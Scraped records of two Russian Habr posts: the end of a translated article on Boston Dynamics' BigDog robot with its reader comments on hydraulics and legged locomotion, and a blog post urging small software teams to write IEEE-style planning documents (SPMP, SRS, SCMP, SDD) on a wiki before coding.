href="https://robo-hunter.com/?utm_source=geektimes&amp;utm_campaign=6-04&amp;utm_content=6-04-2">свежие новости</a>; </li> <li><a href="https://robo-hunter.com/tags/exclusiv?utm_source=geektimes&amp;utm_campaign=6-04&amp;utm_content=6-04-3">обзоры</a>;</li> <li><a href="https://robo-hunter.com/tags/intervy?utm_source=geektimes&amp;utm_campaign=6-04&amp;utm_content=6-04-4">интервью с разработчиками</a>;</li> <li><a href="https://robo-hunter.com/tags/infografika?utm_source=geektimes&amp;utm_campaign=6-04&amp;utm_content=6-04-5">инфографика</a>;</li> <li><a href="https://robo-hunter.com/tags/video?utm_source=geektimes&amp;utm_campaign=6-04&amp;utm_content=6-04-6">видео</a>.</li> </ul><br/> <br/> <div class="oembed"><div><div style="left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.2493%;"><div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/cNZPRsrwumQ?rel=0&amp;showinfo=1" data-style="border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;" id="" width=""></div></div></div></div></div>
Anna-Angelova
Marc Raibert, Kevin Blankespoor, Gabriel Nelson, Rob Playter and the BigDog Team
https://www.cs.swarthmore.edu/~meeden/DevelopmentalRobotics/bigdog.pdf
<div style="text-align:center;"><img src="https://habrastorage.org/webt/nu/xw/0j/nuxw0j7fofr99phpyi2dxra4tru.png"></div><br> <i>BigDog стал первым роботом Boston Dynamics, получившим широкую известность. Во многом именно он «сделал имя» своей компании-создателю. Робот для военных, от которого отказались военные, и первый робот Boston Dynamics, которого на камеру пинали разработчики. <br> <br> Сейчас на проекте поставлен крест, но он стал основой для последующих разработок компании — Cheetah и новых Spot, <a href="https://robo-hunter.com/news/boston-dynamics-uchit-svoego-chetveronogogo-robota-ne-sdavatsya9577?utm_source=geektimes&amp;utm_campaign=6-04&amp;utm_content=6-04-1">видео с которыми</a> быстро стали вирусными.<br> <br> Сегодня попытаемся разобраться в устройстве BigDog со слов его разработчиков. Оригинальную статью авторы опубликовали еще в 2008 году, но она до сих пор (вроде как) не была переведена на русский. В ней рассказано о главных компонентах робота и алгоритмах, координирующих его походку.</i>
BigDog стал первым роботом Boston Dynamics, получившим широкую известность. Во многом именно он «сделал имя» своей компании-создателю. Робот для военных, от которого отказались военные, и первый робот Boston Dynamics, которого на камеру пинали разработчики. Сейчас на проекте поставлен крест, но он стал основой для последующих разработок компании — Cheetah и новых Spot, видео с которыми быстро стали вирусными. Сегодня попытаемся разобраться в устройстве BigDog со слов его разработчиков. Оригинальную статью авторы опубликовали еще в 2008 году, но она до сих пор (вроде как) не была переведена на русский. В ней рассказано о главных компонентах робота и алгоритмах, координирующих его походку.
article
1,523,023,599
{ "commentsCount": 36, "favoritesCount": 28, "readingCount": 21772, "score": 28, "votesCount": 32, "votesCountPlus": 30, "votesCountMinus": 2 }
[ "translation" ]
[ "smileexpo", "robot" ]
[ "popsci" ]
[ "smile-expo", "смайл экспо", "роботы", "робототехника", "boston dynamics", "bigdog" ]
4
null
null
{ "id": [ 18642831, 18642833, 18642835, 18642837, 18642839, 18642841, 18642843, 18642845, 18642847, 18642849, 18642851, 18642853, 18642855, 18642857, 18642859, 18642861, 18642863, 18642865, 18642867, 18642869, 18642871, 18642873, 18642875, 18642877, 18642879, 18642881, 18642883, 18642885, 18642887, 18642889, 18642891, 18642893, 18642895, 18642897, 18642899, 18642901 ], "parent_id": [ null, null, null, null, 18642835, 18642833, 18642835, 18642837, 18642845, null, 18642835, null, 18642835, null, 18642855, 18642833, 18642857, 18642863, 18642865, 18642857, 18642857, 18642837, 18642861, 18642869, 18642873, 18642871, 18642835, 18642881, 18642885, 18642887, 18642887, 18642891, 18642891, 18642895, 18642897, 18642895 ], "level": [ 0, 0, 0, 0, 1, 1, 1, 1, 2, 0, 1, 0, 1, 0, 2, 1, 1, 2, 3, 1, 1, 1, 2, 2, 2, 2, 1, 3, 4, 5, 5, 6, 6, 7, 8, 7 ], "time_published": [ 1523025937, 1523035652, 1523040229, 1523041737, 1523042801, 1523083282, 1523086834, 1523090425, 1523091426, 1523093549, 1523094295, 1523096149, 1523099650, 1523107546, 1523110373, 1523110379, 1523122000, 1523187909, 1523210131, 1523243266, 1523259595, 1523262143, 1523262206, 1523263237, 1523263664, 1523269524, 1523272685, 1523277022, 1523277797, 1523388626, 1523462448, 1523528306, 1523557406, 1523566530, 1523638634, 1523974033 ], "score": [ 8, -10, 0, 4, 0, 10, 4, 0, 0, 7, 0, 0, 2, 0, 0, 3, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0 ], "votes": [ 8, 12, 0, 4, 2, 10, 6, 0, 0, 7, 0, 0, 2, 0, 2, 3, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">BigDog: «Кожаные ублюдки помнят обо мне!»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">нда… не столько бесшумность сколько скорость движения этого чуда поражает, оно фактически топчется на месте. ступни такие что сцепления с почвой нет, на ступнях должен быть регулирующий механизм (чтобы на плоской поверхности она была плоской а на рыхлой удерживалась шипом как кеды футболиста), да и ударопрочности никакой, не удивительно что военные отказались, это реально пока что игрушка</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А ссылки на механическую часть есть?? хотя бы принципиальные схемы? как гидравликой управляют? обратные связи положения ног как отслеживают?<br/>\r\nПриведённая блок-схема подходит для синхронных двигателей, но в случае гидравлики и гидрораспределителей возникает некоторая неопределённость положения ноги в реальном времени</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кормить овсом и наладить автопроизводство при встрече двух моделей.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">не смогли найти нормального специалиста типа вас</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><div class=\"spoiler\"><b class=\"spoiler_title\">Не палите контору</b><div class=\"spoiler_text\"><img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/10e/357/f9d/10e357f9d34d2f46f809ea89b184065f.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/10e/357/f9d/10e357f9d34d2f46f809ea89b184065f.jpg\" data-blurred=\"true\"/><br/>\r\n</div></div></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И как решили проблему быстродействия гидравлики? Скорости потоков в системе там, наверное, сумасшедшие. Мне казалось, что пневматикой проще такие вещи решить</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Например, жидкостью с меньшей кинематической вязкостью, чем масло — например, тормозухой</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не удержался. War never changes<br/>\r\n<div class=\"spoiler\"><b class=\"spoiler_title\">Заголовок спойлера</b><div class=\"spoiler_text\"><img src=\"https://habrastorage.org/r/w1560/webt/qq/te/ew/qqteewjy5dfitltplvv87g7-phw.png\" alt=\"image\" data-src=\"https://habrastorage.org/webt/qq/te/ew/qqteewjy5dfitltplvv87g7-phw.png\"/><br/>\r\n</div></div></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В фильме Молодежь что-то наподобие было.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Седло можно не ставить, а шкуру вполне. Научить определять не ручку от двери, а ружьё. Потом выпустить в лес и порадовать браконьеров…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>… Свинёнок твой мутантом оказался...</blockquote></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>не столько бесшумность сколько скорость движения этого чуда поражает</blockquote>Вас эволюция сотни миллионов лет создавала, а Boston Dynamics за десять лет научили своих роботов <a href=\"https://www.youtube.com/watch?v=aFuA50H9uek\">открывать двери</a> и даже делать <a href=\"https://www.youtube.com/watch?v=fRj34o4hN4I\">«обратное сальто»</a> (и кстати новые модели уже не такие шумные). Дайте им ещё пару десятков лет — и они научат своих роботов бесшумно подбегать к людям сзади и перепрыгивать через них делая переднее сальто (и ещё параллельно этому сворачивать шею «кожанным мешкам» — не забывайте что эта фирма именно военные технологии для DARPA разрабатывает).<br/>\r\n<br/>\r\nНу или скажем сделать что-нибудь безопасное но во много раз унизительное для нас, вроде десятикратного тулупа на льду, прыжка в высоту на 5 метров или в длину на все 25, бег со скоростью едущего автомобиля — любой вид спорта окажется за роботами, а паралимпиада из «меньшего брата» обычной олимпиады превратится в его старшего брата — так как все рекорды станут делаться именно там. «Бегущий по лезвию» уже не за горами.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот про ящериц с моторикой гексапода — это вы загнули. И потом, в топе самых быстро бегающих все на четырёхногом шасси. Вплоть до страуса :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По относительным величинам там та проблема, что вверх оно так просто не масштабируется, даже с учётом того, что вместо костей металл, а вместо мышц двигатели. Бигдог как раз позаимствовал биомеханику от животных своего размерного класса. Если в этом размере говорить об отнесённой от туловища ноге (если вы это подразумевали под моторикой гексапода), то кроме крокодила и варана и вспомнить-то некого. И крокодил на этой механике выдаёт, если мне память не изменяет, 18 км/ч, причём ему для этого таки на галоп приходится переходить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Эволюция решила, что октапод лучше таких целей.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">у пресмыкающихся моторика вынужденная, неудачный конструктив поясов. Быстрыми могут быть только двуногие варианты, в результате. Млекопитающим по скорости они проигрывают совсем.<br/>\r\n<br/>\r\n<blockquote>Если человек будет бежать со скоростью ящерицы в своем масштабе </blockquote>А это говорит только о Вашем слабом знакомстве с законами подобия, прежде всего злобным «куб-квадратом».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть презентация, тоже 2008 года <a href=\"https://www.webcitation.org/664slSojD?url=http://www.bostondynamics.com/img/BigDog_Overview.pdf\">ссылка</a><br/>\r\nТам чуть больше технических подробностей, но вопросы все равно остаются. Мне кажется, что BD в ближайшее время вряд ли раскроет все детали проекта<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>военные технологии для DARPA разрабатывает</blockquote><br/>\r\nразрабатывала?<br/>\r\nСудя по всему всё опять упирается в финансирование. Последние покупатели (японцы) опять поиграются и перепродадут кому-нибудь другому.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, строго говоря, эволюция приводит не к лучшим решениям, а к первым пригодным.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за ссылку, некоторые вопросы стали яснее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Двуногие неустойчивые, остановился — упал, или трать энергию на поддержание равновесия. Мне больше нравятся четвероногие иноходцы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Урфин Juice</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да уж как-то сотни миллионов лет не переводятся, в разных типах — и вполне успешно. Ну, вот разве что Вам не нравится, это, конечно, epic fail эволюции.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я ж не предполагаю уничтожить всех двуногих, мне просто не нравится такая кинематическая схема для механизма, хотя бы потому что не могу вспомнить ни одной двуногое, которое может спать стоя без дополнительной опоры. Ну ли приделывать шасси-биподу откидной хвост, для стоянки и незначительных скоростей.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хвост сам по себе полезен — как управляемый руль/стабилизатор — на низких скоростях балансирный, а на высоких аэродинамический… Ну и как опора на стоянке/виселке.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Двуногие вполне устойчивы, если у них есть ступни.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я просто не хочу платить за то, чем не пользуюсь. Если мы «защёлкнем» суставы ног, тогда придётся не шевелить руками, чтобы не выбить себя из равновесия. Вариантов немного: опереться, опустить центр тяжести (например, присесть на корточки). Когда ног 3 и больше, можно очень устойчиво растопыриться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В общем как только не извратишься, лишь бы 3ю пару конечностей не отращивать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Станислав Дробышевский: Анатомия Кентавра — YouTube</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>В-четвертых, у двуногих движение таки медленней, а энергии тратится больше (поскольку кроме движения работает еще и балансировка, и поддержание собственной тушки)</blockquote>Это только по плоскости.<br/>\r\n<blockquote>Во-вторых, моторика ступни очень сложная, она включает в себя непрерывный опрос датчиков как касания на ступне, так и гироскопа в ушах и практически мгновенную реакцию импульсами на каждый моторчик системы нашей ступни, и все это слаженно, на уровне чуть ли не BIOS. Найдите где-нить скелет ступни и посмотрите сколько связок участвует в управлении.</blockquote>C'Est La Vie. Так любая система будет устроена, в которой нет прямого управления положением, а есть только управление усилием.</div>" ], "message_markdown": [ "BigDog: «Кожаные ублюдки помнят обо мне!»", "нда... не столько бесшумность сколько скорость движения этого чуда поражает, оно фактически топчется на месте. ступни такие что сцепления с почвой нет, на ступнях должен быть регулирующий механизм (чтобы на плоской поверхности она была плоской а на рыхлой удерживалась шипом как кеды футболиста), да и ударопрочности никакой, не удивительно что военные отказались, это реально пока что игрушка", "UFO just landed and posted this here", "А ссылки на механическую часть есть?? хотя бы принципиальные схемы? как гидравликой управляют? обратные связи положения ног как отслеживают?\nПриведённая блок-схема подходит для синхронных двигателей, но в случае гидравлики и гидрораспределителей возникает некоторая неопределённость положения ноги в реальном времени", "Кормить овсом и наладить автопроизводство при встрече двух моделей.", "не смогли найти нормального специалиста типа вас", "Не палите контору", "И как решили проблему быстродействия гидравлики? Скорости потоков в системе там, наверное, сумасшедшие. Мне казалось, что пневматикой проще такие вещи решить", "Например, жидкостью с меньшей кинематической вязкостью, чем масло — например, тормозухой", "Не удержался. War never changes\nЗаголовок спойлера", "UFO just landed and posted this here", "В фильме Молодежь что-то наподобие было.", "Седло можно не ставить, а шкуру вполне. Научить определять не ручку от двери, а ружьё. Потом выпустить в лес и порадовать браконьеров...", "UFO just landed and posted this here", "> ... Свинёнок твой мутантом оказался...", "> не столько бесшумность сколько скорость движения этого чуда поражает\nВас эволюция сотни миллионов лет создавала, а Boston Dynamics за десять лет научили своих роботов открывать двери и даже делать «обратное сальто» (и кстати новые модели уже не такие шумные). Дайте им ещё пару десятков лет — и они научат своих роботов бесшумно подбегать к людям сзади и перепрыгивать через них делая переднее сальто (и ещё параллельно этому сворачивать шею «кожанным мешкам» — не забывайте что эта фирма именно военные технологии для DARPA разрабатывает).\nНу или скажем сделать что-нибудь безопасное но во много раз унизительное для нас, вроде десятикратного тулупа на льду, прыжка в высоту на 5 метров или в длину на все 25, бег со скоростью едущего автомобиля — любой вид спорта окажется за роботами, а паралимпиада из «меньшего брата» обычной олимпиады превратится в его старшего брата — так как все рекорды станут делаться именно там. «Бегущий по лезвию» уже не за горами.", "Вот про ящериц с моторикой гексапода — это вы загнули. И потом, в топе самых быстро бегающих все на четырёхногом шасси. Вплоть до страуса :)", "UFO just landed and posted this here", "По относительным величинам там та проблема, что вверх оно так просто не масштабируется, даже с учётом того, что вместо костей металл, а вместо мышц двигатели. Бигдог как раз позаимствовал биомеханику от животных своего размерного класса. Если в этом размере говорить об отнесённой от туловища ноге (если вы это подразумевали под моторикой гексапода), то кроме крокодила и варана и вспомнить-то некого. И крокодил на этой механике выдаёт, если мне память не изменяет, 18 км/ч, причём ему для этого таки на галоп приходится переходить.", "Эволюция решила, что октапод лучше таких целей.", "у пресмыкающихся моторика вынужденная, неудачный конструктив поясов. Быстрыми могут быть только двуногие варианты, в результате. Млекопитающим по скорости они проигрывают совсем.\n> Если человек будет бежать со скоростью ящерицы в своем масштабе\nА это говорит только о Вашем слабом знакомстве с законами подобия, прежде всего злобным «куб-квадратом».", "Есть презентация, тоже 2008 года ссылка\nТам чуть больше технических подробностей, но вопросы все равно остаются. Мне кажется, что BD в ближайшее время вряд ли раскроет все детали проекта", "> военные технологии для DARPA разрабатывает\nразрабатывала?\nСудя по всему всё опять упирается в финансирование. Последние покупатели (японцы) опять поиграются и перепродадут кому-нибудь другому.", "Ну, строго говоря, эволюция приводит не к лучшим решениям, а к первым пригодным.", "Спасибо за ссылку, некоторые вопросы стали яснее.", "Двуногие неустойчивые, остановился — упал, или трать энергию на поддержание равновесия. Мне больше нравятся четвероногие иноходцы.", "Урфин Juice", "Да уж как-то сотни миллионов лет не переводятся, в разных типах — и вполне успешно. Ну, вот разве что Вам не нравится, это, конечно, epic fail эволюции.", "Я ж не предполагаю уничтожить всех двуногих, мне просто не нравится такая кинематическая схема для механизма, хотя бы потому что не могу вспомнить ни одной двуногое, которое может спать стоя без дополнительной опоры. Ну ли приделывать шасси-биподу откидной хвост, для стоянки и незначительных скоростей.", "Хвост сам по себе полезен — как управляемый руль/стабилизатор — на низких скоростях балансирный, а на высоких аэродинамический... Ну и как опора на стоянке/виселке.", "Двуногие вполне устойчивы, если у них есть ступни.", "Я просто не хочу платить за то, чем не пользуюсь. Если мы «защёлкнем» суставы ног, тогда придётся не шевелить руками, чтобы не выбить себя из равновесия. Вариантов немного: опереться, опустить центр тяжести (например, присесть на корточки). Когда ног 3 и больше, можно очень устойчиво растопыриться.", "UFO just landed and posted this here", "В общем как только не извратишься, лишь бы 3ю пару конечностей не отращивать.", "Станислав Дробышевский: Анатомия Кентавра — YouTube", "> В-четвертых, у двуногих движение таки медленней, а энергии тратится больше (поскольку кроме движения работает еще и балансировка, и поддержание собственной тушки)\nЭто только по плоскости.\n> Во-вторых, моторика ступни очень сложная, она включает в себя непрерывный опрос датчиков как касания на ступне, так и гироскопа в ушах и практически мгновенную реакцию импульсами на каждый моторчик системы нашей ступни, и все это слаженно, на уровне чуть ли не BIOS. Найдите где-нить скелет ступни и посмотрите сколько связок участвует в управлении.\nC'Est La Vie. Так любая система будет устроена, в которой нет прямого управления положением, а есть только управление усилием." ], "author": [ "Alozar", "smer44", "{}", "OMR_Kiruha", "sumanai", "velovich", "Дмитрий (Demon_i)", "Алексей Кичатов (Telegazik)", "Глеб Ницман (gleb_l)", "burzooom", "{}", "JhonCar", "Andrey (Sonikelf)", "{}", "Gryphon88", "Денис Нырков (voyager-1)", "Wizard_of_light", "{}", "Wizard_of_light", "ankh1989", "Bedal", "Anna-Angelova", "balury", "Bedal", "OMR_Kiruha", "Gryphon88", "HueyOne", "Bedal", "Gryphon88", "impetus", "Chamie (Chamie)", "Gryphon88", "{}", "Mad__Max", "O.K. (UDiy34r3u74tsg34)", "Chamie (Chamie)" ], "children": [ [], [ 18642841, 18642861 ], [ 18642839, 18642843, 18642851, 18642855, 18642883 ], [ 18642845, 18642873 ], [], [], [], [ 18642847 ], [], [], [], [], [ 18642859 ], [ 18642863, 18642869, 18642871 ], [], [ 18642875 ], [ 18642865 ], [ 18642867 ], [], [ 18642877 ], [ 18642881 ], [ 18642879 ], [], [], [], [ 18642885 ], [], [ 18642887 ], [ 18642889, 18642891 ], [], [ 18642893, 18642895 ], [], [ 18642897, 18642901 ], [ 18642899 ], [], [] ] }
13,480
ru
https://habr.com/ru/post/13480/
Забытая фаза проектирования
Сейчас почти в каждой статье про web 2.0 и стартапы среди рекомендаций можно увидеть совет: бросьте долгие раздумья и пред-проектную документацию — делайте проект! И очень часто этот совет воспринимается буквально, первые строчки кода появляются еще до того, как идея окончательно сформируется. Что в итоге? А в итоге ядро системы за весь период разработки переписывается раз по 15, не говоря уже о фронтенде. Как следствие проект который был задуман как 1-2х месячный растягивается на пол-года — год. А код превращается в сборище багов. Что же сделать что-бы этого избежать и при этом не заниматься планированием по пол-года? Признаюсь честно, я много раз наступал на эти грабли. Множество проектов умерло из-за недостаточной или некачественной подготовки. И так продолжалось бы и дальше, если бы однажды я не познакомился с простой вещью «Стандарты разработки программных проектов». Те кто работал в крупных софтверных компаниях наверняка слышали или использовали ту или иную методологию или стандарт. Заранее представляю себе недовольные лица некоторых людей, мол это лишняя бюрократия, никакой пользы. К счастью это не совсем так. Действительно многие стандарты довольно обширны и описывают огромное кол-во ненужных в конкретном проекте вещей. Но на то он и стандарт, чтобы на его основе построить свой. Нужно выбрать лишь, те часть которые действительно необходимы. Для чего использовать стандарты? Во-первых, для того чтобы описать, кто в команде чем занимается. Для того чтобы избежать ситуации, что где-то в середине проекта один из участников говорит что чем-то он занимать не будет т.к. не обещал или вообще не умеет. Во-вторых, чтобы точно определить что вы хотите получить в итоге. Нужно составить лист требований к конечному результату. Иначе как вы будете определять степень качества на выходе? В-третьих, для того чтобы не произошла ситуация, что оба программиста одновремено разрабатывают класс, один подгружает свою версию в репозиторий, через какое-то время другой подгружает свою заменяя предыдущую, нужно определить как вы будет обновлять код, установить правила. Попробуйте документировать свой проект хотябы по минимуму и я думаю вы сами начнете лучше понимать что вы делаете. Хватит описаний давайте перейдем к практике. Разделим весь проект на несколько частей. Инициализация — здесь вы обсуждаете что вы примерно хотите получить, обмениваетесь мыслями. Проектирование — вот она стадия которую забывают. О ней подробней ниже. Кодирование — тут всё ясно надеюсь :) Тестирование — А вот этой стадии без проектирования не бывает, если вы не знаете что хотели получить, как вы проверите что получили? Интеграция — запускаем проект. Теперь подробнее о проектировании. В случае небольшой команды, я не предлагаю использовать какое-то супер навороченное ПО. Давайте ограничимся просто Wiki. Я выбрал для себя DokuWiki, вы может использовать любую другую. Воспользуемся стандартами IEEE для проектного менеджмента, хотя следовать ему дословно не будем. Первый документ который нам понадобится SPMP (Software project management plan) он же «План управления программным проектом». Тут укажем кто за что в проекте отвечает, как будет происходить управление, какие методы вы будете использовать. Для тех кому нужны конкретные примеры в конце приведу несколько ссылочек. Дальше нам понадобится SRS (Software Requirements Specification) она же «Спецификация требований к ПО». Это очень важный документ, тут расписываются все функции которые должны быть реализованы в системе. Требования к интерфейсу, а так же use cases. Нарисуйте структуру вашего сайта, создайте прототип. Под прототипом я не имею ввиду что-то действительно работающее. Прототип это набросок пользовательского интерфейса. Можно воспользоваться например MS Visio. Я бы рекомендовал всегда делать прототип фронэнда, даже если кажется что всё просто. Если просто — так это займет 5 минут, а вдруг вы что-то забыли? Тут не идёт разговора о графическом дизайне или чем-то подобном. Просто кнопки, формы и поля ввода, также и их практическое расположение на странице не имеет сейчас никакого решающего значения. Теперь перейдем к SCMP (Software configuration management plan), он же «План управления конфигурациями ПО». Тут я редко придерживаюсь стандарта, но всё же документ необходим. Здесь описывается какое ПО вы используете при разработке, как упорядочиваются версии. Как происходят сборки итд. Ну и наконец SDD(Software Design description), он же дезигн док. Вооружившись списком требований описанных в SRS начинаем проектировать нашу систему. Описываем архитектуру проекта, основные пакеты и классы. Степень детальности описаний определяем индивидуально. Вот собственно и всё, не так много как казалось. Из личной практики: раздел в SRS в вики можно использовать как систему управления требованиями. Просто присвойте каждой функции свой номер, статус и приоритет. Не стоит создавать себе проблем с лишним софтом. Теперь пара ссылочек: Документация к Open Source MOORPG Ireon — практический пример заполнения некоторых документов. SPMP (eng) здесь Оригинал При желании все стандарты находятся гуглом.
<div xmlns="http://www.w3.org/1999/xhtml">Сейчас почти в каждой статье про web 2.0 и стартапы среди рекомендаций можно увидеть совет: бросьте долгие раздумья и пред-проектную документацию — делайте проект! И очень часто этот совет воспринимается буквально, первые строчки кода появляются еще до того, как идея окончательно сформируется. Что в итоге? А в итоге ядро системы за весь период разработки переписывается раз по 15, не говоря уже о фронтенде. Как следствие проект который был задуман как 1-2х месячный растягивается на пол-года — год. А код превращается в сборище багов.<br/> <br/> Что же сделать что-бы этого избежать и при этом не заниматься планированием по пол-года?<br/> <a name="habracut"></a><br/> Признаюсь честно, я много раз наступал на эти грабли. Множество проектов умерло из-за недостаточной или <strong>некачественной</strong> подготовки. И так продолжалось бы и дальше, если бы однажды я не познакомился с простой вещью «Стандарты разработки программных проектов». Те кто работал в крупных софтверных компаниях наверняка слышали или использовали ту или иную методологию или стандарт.<br/> <br/> Заранее представляю себе недовольные лица некоторых людей, мол это лишняя бюрократия, никакой пользы. К счастью это не совсем так. Действительно многие стандарты довольно обширны и описывают огромное кол-во ненужных в конкретном проекте вещей. Но на то он и стандарт, чтобы на его основе построить свой. Нужно выбрать лишь, те часть которые действительно необходимы.<br/> <br/> Для чего использовать стандарты? Во-первых, для того чтобы описать, кто в команде чем занимается. Для того чтобы избежать ситуации, что где-то в середине проекта один из участников говорит что чем-то он занимать не будет т.к. не обещал или вообще не умеет. Во-вторых, чтобы точно определить что вы хотите получить в итоге. Нужно составить лист требований к конечному результату. Иначе как вы будете определять степень качества на выходе? В-третьих, для того чтобы не произошла ситуация, что оба программиста одновремено разрабатывают класс, один подгружает свою версию в репозиторий, через какое-то время другой подгружает свою заменяя предыдущую, нужно определить как вы будет обновлять код, установить правила.<br/> <br/> Попробуйте документировать свой проект хотябы по минимуму и я думаю вы сами начнете лучше понимать что вы делаете.<br/> <br/> Хватит описаний давайте перейдем к практике. Разделим весь проект на несколько частей.<br/> <br/> <strong>Инициализация</strong> — здесь вы обсуждаете что вы примерно хотите получить, обмениваетесь мыслями.<br/> <strong>Проектирование</strong> — вот она стадия которую забывают. О ней подробней ниже.<br/> <strong>Кодирование</strong> — тут всё ясно надеюсь :)<br/> <strong>Тестирование</strong> — А вот этой стадии без проектирования не бывает, если вы не знаете что хотели получить, как вы проверите что получили? <br/> <strong>Интеграция</strong> — запускаем проект.<br/> <br/> Теперь подробнее о проектировании.<br/> В случае небольшой команды, я не предлагаю использовать какое-то супер навороченное ПО. Давайте ограничимся просто Wiki. Я выбрал для себя DokuWiki, вы может использовать любую другую. Воспользуемся стандартами IEEE для проектного менеджмента, хотя следовать ему дословно не будем.<br/> Первый документ который нам понадобится SPMP (Software project management plan) он же «План управления программным проектом». Тут укажем кто за что в проекте отвечает, как будет происходить управление, какие методы вы будете использовать. Для тех кому нужны конкретные примеры в конце приведу несколько ссылочек.<br/> Дальше нам понадобится SRS (Software Requirements Specification) она же «Спецификация требований к ПО». Это очень важный документ, тут расписываются все функции которые должны быть реализованы в системе. Требования к интерфейсу, а так же use cases. Нарисуйте структуру вашего сайта, создайте прототип. Под прототипом я не имею ввиду что-то действительно работающее. Прототип это набросок пользовательского интерфейса. Можно воспользоваться например MS Visio. Я бы рекомендовал всегда делать прототип фронэнда, даже если кажется что всё просто. Если просто — так это займет 5 минут, а вдруг вы что-то забыли? Тут не идёт разговора о графическом дизайне или чем-то подобном. Просто кнопки, формы и поля ввода, также и их практическое расположение на странице не имеет сейчас никакого решающего значения.<br/> Теперь перейдем к SCMP (Software configuration management plan), он же «План управления конфигурациями ПО». Тут я редко придерживаюсь стандарта, но всё же документ необходим. Здесь описывается какое ПО вы используете при разработке, как упорядочиваются версии. Как происходят сборки итд.<br/> Ну и наконец SDD(Software Design description), он же дезигн док. Вооружившись списком требований описанных в SRS начинаем проектировать нашу систему. Описываем архитектуру проекта, основные пакеты и классы. Степень детальности описаний определяем индивидуально.<br/> <br/> Вот собственно и всё, не так много как казалось. Из личной практики: раздел в SRS в вики можно использовать как систему управления требованиями. Просто присвойте каждой функции свой номер, статус и приоритет. Не стоит создавать себе проблем с лишним софтом.<br/> <br/> Теперь пара ссылочек:<br/> Документация к Open Source MOORPG <a href="http://www.ireon.org/docs.html">Ireon</a> — практический пример заполнения некоторых документов.<br/> SPMP (eng) <a href="http://spmp.narod.ru/IEEE/P1058.html">здесь</a><br/> <br/> <a href="http://lostinwired.blogspot.com/2007/08/blog-post_23.html">Оригинал</a><br/> <br/> При желании все стандарты находятся гуглом.</div>
lostinwired (lostinwired)
null
null
Сейчас почти в каждой статье про web 2.0 и стартапы среди рекомендаций можно увидеть совет: бросьте долгие раздумья и пред-проектную документацию — делайте проект! И очень часто этот совет воспринимается буквально, первые строчки кода появляются еще до того, как идея окончательно сформируется. Что в итоге? А в итоге ядро системы за весь период разработки переписывается раз по 15, не говоря уже о фронтенде. Как следствие проект который был задуман как 1-2х месячный растягивается на пол-года — год. А код превращается в сборище багов.<br/> <br/> Что же сделать что-бы этого избежать и при этом не заниматься планированием по пол-года?<br/>
Сейчас почти в каждой статье про web 2.0 и стартапы среди рекомендаций можно увидеть совет: бросьте долгие раздумья и пред-проектную документацию — делайте проект! И очень часто этот совет воспринимается буквально, первые строчки кода появляются еще до того, как идея окончательно сформируется. Что в итоге? А в итоге ядро системы за весь период разработки переписывается раз по 15, не говоря уже о фронтенде. Как следствие проект который был задуман как 1-2х месячный растягивается на пол-года — год. А код превращается в сборище багов. Что же сделать что-бы этого избежать и при этом не заниматься планированием по пол-года?
article
1,187,895,090
{ "commentsCount": 57, "favoritesCount": 50, "readingCount": 1897, "score": 15, "votesCount": 23, "votesCountPlus": 19, "votesCountMinus": 4 }
[]
[ "closet" ]
[ "popsci" ]
[ "документация", "проект", "проектирование", "стандарт", "управление проек" ]
3
null
null
